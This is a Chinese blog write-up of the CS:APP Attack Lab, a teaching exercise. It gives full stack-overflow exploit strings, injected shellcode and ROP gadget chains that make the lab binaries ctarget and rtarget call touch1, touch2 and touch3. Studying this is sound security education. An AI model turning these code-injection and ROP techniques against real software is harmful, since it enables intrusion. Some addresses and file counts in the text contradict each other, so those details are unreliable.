实验3 Attacklab
📘

实验3 Attacklab

创建时间
Apr 1, 2023 05:24 AM
标签
CSAPP
资料
Author
百川🌊
Published
April 1, 2023

实验 3:Attack Lab

实验环境

  • Ubuntu 20.04

实验目的

Attack Lab的内容针对的是CS-APP中第三章中关于程序安全性描述中的栈溢出攻击。在这个Lab中,我们需要针对不同的目的编写攻击字符串来填充一个有漏洞的程序的栈来达到执行攻击代码的目的,攻击方式分为代码注入攻击与返回导向编程攻击。
本实验要求在两个有着不同安全漏洞的程序上实现五种攻击。通过完成本实验达到:
  • 深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可能会如何利用这些安全漏洞。
  • 深入理解x86-64机器代码的栈和参数传递机制。
  • 深入理解x86-64指令的编码方式。
  • 熟练使用gdb和objdump等调试工具。
  • 更好地理解写出安全的程序的重要性,了解到一些编译器和操作系统提供的帮助改善程序安全性的特性。

准备工作

蠕虫病毒是一种常见的利用Unix系统中的缺点来进行攻击的病毒。缓冲区溢出一个常见的后果是:黑客利用函数调用过程中程序的返回地址,将存放这块地址的指针精准指向计算机中存放攻击代码的位置,造成程序异常中止。为了防止发生严重的后果,计算机会采用栈随机化,利用金丝雀值检查破坏栈,限制代码可执行区域等方法来尽量避免被攻击。虽然,现代计算机已经可以“智能”查错了,但是我们还是要养成良好的编程习惯,尽量避免写出有漏洞的代码,以节省宝贵的时间!

1. 蠕虫病毒简介

蠕虫是一种可以自我复制的代码,并且通过网络传播,通常无需人为干预就能传播。蠕虫病毒入侵并完全控制一台计算机之后,就会把这台机器作为宿主,进而扫描并感染其他计算机。当这些新的被蠕虫入侵的计算机被控制之后,蠕虫会以这些计算机为宿主继续扫描并感染其他计算机,这种行为会一直延续下去。蠕虫使用这种递归的方法进行传播,按照指数增长的规律分布自己,进而及时控制越来越多的计算机。

2. 缓冲区溢出

缓冲区溢出是指计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符。但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。操作系统所使用的缓冲区,又被称为“堆栈”,在各个操作进程之间,指令会被临时储存在“堆栈”当中,“堆栈”也会出现缓冲区溢出
在官网下载得到实验所需文件解压后会得到五个不同的文件。对六个文件简要说明如下所示。
  • README.txt:描述文件夹目录
  • ctarget:一个容易遭受code injection攻击的可执行程序。
  • rtarget:一个容易遭受return-oriented programming攻击的可执行程序。
  • cookie.txt一个8位的十六进制码,用于验证身份的唯一标识符。
  • farm.c:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
  • hex2raw:一个生成攻击字符串的工具。
HEX2RAW期望由一个或多个空格分隔的两位十六进制值。所以如果你想创建一个十六进制值为0的字节,需要将其写为00。要创建单词0xdeadbeef应将“ ef be ad de”传递给HEX2RAW(请注意,小字节序需要反转)。

实验内容

目标:注入代码调用 touch1 函数。
CTARGET和RTARGET从标准输入中读取字符串,使用的getbuf函数如下所示。
unsigned getbuf() {    char buf[BUFFER_SIZE];    Gets(buf);    return 1; }
函数Gets()类似于标准库函数gets(),从标准输入读入一个字符串,将字符串(带null结束符)存储在指定的目的地址。二者都只会简单地拷贝字节序列,无法确定目标缓冲区是否足够大以存储下读入的字符串,因此可能会超出目标地址处分配的存储空间。字符串不能包含字节值0x0a,这是换行符 \n 的ASCII码,Gets()遇到这个字节时会认为意在结束该字符串。
如果用户输入并由getbuf读取的字符串足够短,则很明显getbuf将返回1,如以下执行示例所示:

代码注入攻击

Level 1

对于第1个例程,将不会注入新代码,而是缓冲区溢出漏洞利用字符串将重定向程序来执行现有程序。在CTARGET文件中中调用了函数getbuf。当getbuf执行完return语句后,程序通常会接着向下执行printf语句的内容。我们要做的就是改变函数设定好的执行行为,通过缓冲区漏洞来实现攻击,覆盖掉原本的程序输出,实现把getbuf函数的返回值指向函数touch1
void test() {    int val;    val = getbuf();    printf("No exploit. Getbuf returned 0x%x\n", val); } void touch1() {    vlevel = 1;    printf("Touch!: You called touch1()\n");    validate(1);    exit(0); }
执行 objdump -d rtarget > rtarget.d 命令,将rtarget反汇编看下getbuf和touch1的反汇编代码。
00000000004017a8 <getbuf>:  4017a8: 48 83 ec 28         sub    $0x28,%rsp # 开辟40字节的空间  4017ac: 48 89 e7             mov    %rsp,%rdi  4017af: e8 ac 03 00 00       callq  401b60 <Gets>  4017b4: b8 01 00 00 00       mov    $0x1,%eax  4017b9: 48 83 c4 28         add    $0x28,%rsp  4017bd: c3                   retq             # 正常返回,跳转到test函数的第5行继续执行  4017be: 90                   nop  4017bf: 90                   nop
00000000004017c0 <touch1>:  4017c0: 48 83 ec 08         sub    $0x8,%rsp  4017c4: c7 05 0e 3d 20 00 01 movl   $0x1,0x203d0e(%rip)       # 6054dc <vlevel>  4017cb: 00 00 00  4017ce: bf e5 31 40 00       mov    $0x4031e5,%edi  4017d3: e8 e8 f4 ff ff       callq  400cc0 <puts@plt>  4017d8: bf 01 00 00 00       mov    $0x1,%edi  4017dd: e8 cb 05 00 00       callq  401dad <validate>  4017e2: bf 00 00 00 00       mov    $0x0,%edi  4017e7: e8 54 f6 ff ff       callq  400e40 <exit@plt>
由上述反汇编代码可以知道,我们只要修改getbuf结尾处的ret指令,将其指向touch1函数的起始地址40183b就可以。要想将其准确指向40183b,要首先将getbuf的40字节内容填充满,使其溢出,再将40183b覆盖getbuf原来的返回地址即可。
00000000004017a8 <getbuf>:  4017a8: 48 83 ec 28         sub    $0x28,%rsp  4017ac: 48 89 e7             mov    %rsp,%rdi  4017af: e8 8c 02 00 00       callq  401a40 <Gets>  4017b4: b8 01 00 00 00       mov    $0x1,%eax  4017b9: 48 83 c4 28         add    $0x28,%rsp  4017bd: c3                   retq  4017be: 90                   nop  4017bf: 90                   nop
代码比较简单,在第2行中将rsp减了0x28,申请了一块28字节的空间,第3行将rsp赋给rdi就是空间的首地址,然后调用了Gets函数,rdi就是它的参数。到这里我们可以确定BUFFER_SIZE的大小为0x28(自学讲义中这个值是固定的,但是真正的实验中这个值是由服务器生成的)。换句话说,在0x28字节的栈被Gets函数写满之后,多出来的字符会被写入getbuf函数的栈外。我们用图来说明栈的结构:
notion image
下面是低地址,上面是高地址,在getbuf函数申请的0x28字节内存之外的8个字节存放的就是test函数call指令后下一条指令的地址。
现在我们可以知道,我们需要用0x28字节来将栈填满,再写入touch1函数的入口地址,在getbuf函数执行到ret指令的时候就会返回到touch1中执行。
下面就要利用官方提供的hex2raw程序来帮助我们生成攻击字符串,这个程序将以空白字符隔开表示的字节转换成真正的二进制字节,注意这个程序只是原样地转换文件中的字符,所以字节序的问题是我们应该考虑的。
攻击字符串如下所示,命名为attack1.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
执行以下指令进行测试
./hex2raw < attack1.txt > attackraw1.txt ./ctarget -qi attackraw1.txt
notion image

Level 2

第2阶段涉及注入少量代码作为攻击字符串的一部分。在文件ctarget中,touch2的代码如下所示:
void touch2(unsigned val){    vlevel = 2;    if (val == cookie){        printf("Touch2!: You called touch2(0x%.8x)\n", val);        validate(2);   } else {        printf("Misfire: You called touch2(0x%.8x)\n", val);        fail(2);   }    exit(0); }
反汇编如下所示:
00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx # val存在%rdi中 4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip) # 6054dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi # 6054e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be 08 32 40 00 mov $0x403208,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 8b 05 00 00 callq 401dad <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 30 32 40 00 mov $0x403230,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 2d 06 00 00 callq 401e6f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
Level 2 和 Level 1 差别主要在Level 2 多了一个val参数,我们在跳转到Level 2 时,还要将其参数传递过去,让他认为是自己的cookie 0x59b997fa。
因此,我们首先要将0x59b997fa赋值给%rdi,完成参数的传递。如何完成程序的跳转呢?在第一次ret的时候,将ret地址写为我们写好的攻击代码,在攻击代码中,将touch2的地址0x4017ec 压栈,汇编代码再ret到touch2。我们能完成这个攻击的前提是这个具有漏洞的程序在运行时的栈地址是固定的,不会因运行多次而改变,并且这个程序允许执行栈中的代码。汇编代码如下所示:
mov $0x59b997fa,%rdi pushq $0x4017ec #压栈,ret时会将0x4017ec弹出执行 ret
使用如下指令将汇编代码反汇编
gcc -c attack2.s objdump -d attack2.o > attack2.d
反汇编代码如下所示:
0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 pushq $0x4017ec c: c3 retq
内存中存储这段代码的地方便是getbuf开辟的缓冲区,我们利用gdb查看此时缓冲区的起始地址。
notion image
注意:缓冲区地址为0x5561dca0(栈底),因为分配了一个0x28的栈,插入的代码在字符串首,即栈顶(低地址),所以地址最终要取0x5561dca0-0x28 = 0x5561dc78。
notion image

Level 3

int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; /**/ sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; } void touch3(char *sval) { vlevel = 3; if (hexmatch(cookie, sval)){ printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }
与之前的类似,在getbuf函数返回的时候,执行touch3而不是test。touch3函数传入的是cookie的字符串表示。因此,我们要将%rdi设置为cookie的地址即字符串表示(0x59b997fa -> 35 39 62 39 39 37 66 61)。
00000000004018fa <touch3>: 4018fa: 53 push %rbx 4018fb: 48 89 fb mov %rdi,%rbx 4018fe: c7 05 d4 3b 20 00 03 movl $0x3,0x203bd4(%rip) # 6054dc <vlevel> 401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi 40190b: 8b 3d d3 3b 20 00 mov 0x203bd3(%rip),%edi # 6054e4 <cookie> 401911: e8 36 ff ff ff callq 40184c <hexmatch> 401916: 85 c0 test %eax,%eax 401918: 74 23 je 40193d <touch3+0x43> 40191a: 48 89 da mov %rbx,%rdx 40191d: be 58 32 40 00 mov $0x403258,%esi 401922: bf 01 00 00 00 mov $0x1,%edi 401927: b8 00 00 00 00 mov $0x0,%eax 40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt> 401931: bf 03 00 00 00 mov $0x3,%edi 401936: e8 72 04 00 00 callq 401dad <validate> 40193b: eb 21 jmp 40195e <touch3+0x64> 40193d: 48 89 da mov %rbx,%rdx 401940: be 80 32 40 00 mov $0x403280,%esi 401945: bf 01 00 00 00 mov $0x1,%edi 40194a: b8 00 00 00 00 mov $0x0,%eax 40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt> 401954: bf 03 00 00 00 mov $0x3,%edi 401959: e8 11 05 00 00 callq 401e6f <fail> 40195e: bf 00 00 00 00 mov $0x0,%edi 401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
在touch3中调用了hexmatch函数,这个函数中又开辟了110个字节的空间。如果我们把cookie放在栈中,执行hexmatch函数可能会把cookie的数据覆盖掉。我们可以直接通过植入指令来修改%rsp栈指针的值。
48 c7 c7 b8 dc 61 55 68 fa 18 40 00 c3 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00
notion image

返回导向编程攻击

对程序RTARGET进行代码注入攻击比对CTARGET进行难度要大得多,因为它使用两种技术来阻止此类攻击:它使用栈随机化,以使堆栈位置在一次运行与另一次运行中不同。这使得不可能确定注入代码的位置。它会将保存堆栈的内存部分标记为不可执行,因此,即使可以将程序计数器设置为注入代码的开头,程序也会因分段错误而失败。
notion image
幸运的是,聪明的人已经设计出了通过执行程序来在程序中完成有用的事情的策略。使用现有代码,而不是注入新代码。常用的是ROP策略, ROP的策略是识别现有程序中的字节序列,由一个或多个指令后跟指令ret组成。这种段称为gadget.。图中说明了如何设置堆栈以执行n个gadget的序列。在此图中,堆栈包含一系列gadget地址。每个gadget都包含一系列指令字节,其中最后一个是0xc3,对ret指令进行编码。当程序从该配置开始执行ret指令时,它将启动一系列gadget执行,其中ret指令位于每个gadget的末尾,从而导致程序跳至下一个开始。通过不断的跳转,拼凑出自己想要的结果来进行攻击的方式。(简单来说:就是利用现有程序的汇编代码,从不同的函数中挑选出自己想要的代码,通过不断跳转的方式将这些代码拼接起来组成我们需要的代码。)
下面是实验手册给出的部分指令所对应的字节码,我们需要在rtarget文件中挑选这些指令去执行之前level2和level3的攻击。
notion image

Level 2

这个实验与之前的Level 2 很相似,所以我们要做的就是将cookie的值赋值给%rdi,执行touch2。但是本题使用的是ROP攻击形式,不可能直接有movq 0x59b997fa,0x59b997fa放在栈中,再popq %rdi,利用popq我们可以把数据从栈中转移到寄存器中,而这个恰好是我们所需要的。代码有了,那我们就去寻找gadget。
思路确定了,接下来只需要根据Write up提供的encoding table来查找popq对应encoding是否在程序中出现了。很容易找到popq %rdi对应的编码5f在这里出现,并且下一条就是ret:
402b18: 41 5f pop %r15 402b1a: c3 retq
所以答案就是:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 2b 40 00 00 00 00 00 #pop %rdi fa 97 b9 59 00 00 00 00 #cookie ec 17 40 00 00 00 00 00 #touch2
notion image

Level 3

这个实验是在之前Level3的基础上又增加了一个难度,具体要求是要用ROP跳转到touch3,并且传入一个和cookie一样的字符串。因为栈是随机化的,那么我们如何在栈地址随机化的情况下去获取我们放在栈中的字符串的首地址呢?我们只能通过操作%rsp的值来改变位置。在之前的Level 3 实验中也提到过,touch3函数会调用hexmatch函数,在hexmatch中会开辟110个字节的空间,如果字符串放在touch3函数返回地址的上方,那么cookie一定会被覆盖。因此,我们应该放在更高一点的位置,即使得hexmatch函数新开辟空间也够不到cookie字符串。所以,字符串的地址一定是%rsp 加上一个数。
可是WriteUp里给的encoding table都是mov pop nop 双编码等指令,并没有加法,但是gadget farm中有一条自带的指令,具体如下所示:
00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax # %rax = %rdi + %rsi 4019da: c3 retq
我们可以通过这个函数来实现加法,因为lea (%rdi,%rsi,1) %rax就是%rax = %rdi + %rsi。所以,只要能够让%rdi%rsi其中一个保存%rsp,另一个保存从stack中pop出来的偏移值,就可以表示cookie存放的地址,然后把这个地址mov到%rdi就大功告成了。
对应Write up里面的encoding table会发现,从%rax并不能直接mov%rsi,而只能通过%eax->%edx->%ecx->%esi来完成这个。所以,兵分两路:
1.把%rsp存放到%rdi
2.把偏移值(需要确定指令数后才能确定)存放到%rsi
然后,再用lea那条指令把这两个结果的和存放到%rax中,再movq%rdi中就完成了。
值得注意的是,上面两路完成任务的寄存器不能互换,因为从%eax到%esi这条路线上面的mov都是4个byte的操作,如果对%rsp的值采用这条路线,%rsp的值会被截断掉,最后的结果就错了。但是偏移值不会,因为4个bytes足够表示了。
最后结果:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 1a 40 00 00 00 00 00 #movq %rsp, %rax a2 19 40 00 00 00 00 00 #movq %rax, %rdi ab 19 40 00 00 00 00 00 #popq %rax 48 00 00 00 00 00 00 00 #偏移值 dd 19 40 00 00 00 00 00 #mov %eax, %edx 34 1a 40 00 00 00 00 00 #mov %edx, %ecx 13 1a 40 00 00 00 00 00 #mov %ecx, %esi d6 19 40 00 00 00 00 00 #lea (%rsi, %rdi, 1) %rax a2 19 40 00 00 00 00 00 #movq %rax, %rdi fa 18 40 00 00 00 00 00 #touch3 35 39 62 39 39 37 66 61 #cookie
notion image

总结

这次作业的两个部分,有不同的难点。利用缓冲区溢出跳转到栈中并在栈中执行代码虽然需要的步骤多一些,但是调试还是比较方便的,可以走一步看一步,根据具体的内存分布来进行处理,就是第三阶段的随机部分可能需要多试几次才能找到正确的存放位置。
ROP 的部分,因为跳转来跳转去,难点在于思路,有了一个大概的思路,就可以利用已有的代码跳来跳去『凑』出最终的结果了。最后部分需要考虑到偏移量的问题,需要对 %rsp 具体所指向的内存位置有比较清晰地了解,不同的字长和位数也有影响,虽然大概的意思差不多,不过我看前一两年的作业中的汇编代码,就和现在的汇编代码有挺大的差异了。
越接近硬件层面,越容不得丝毫差池,越来越多的数值和偏移都变得和机器相关,才更加意识到现在能写几乎与机器无关的代码是多么幸福。不过也不能因为前人的工作就忽略不同机器的差异,还是要多考虑不同的层面,才能写出让更多机器能跑得更快的代码。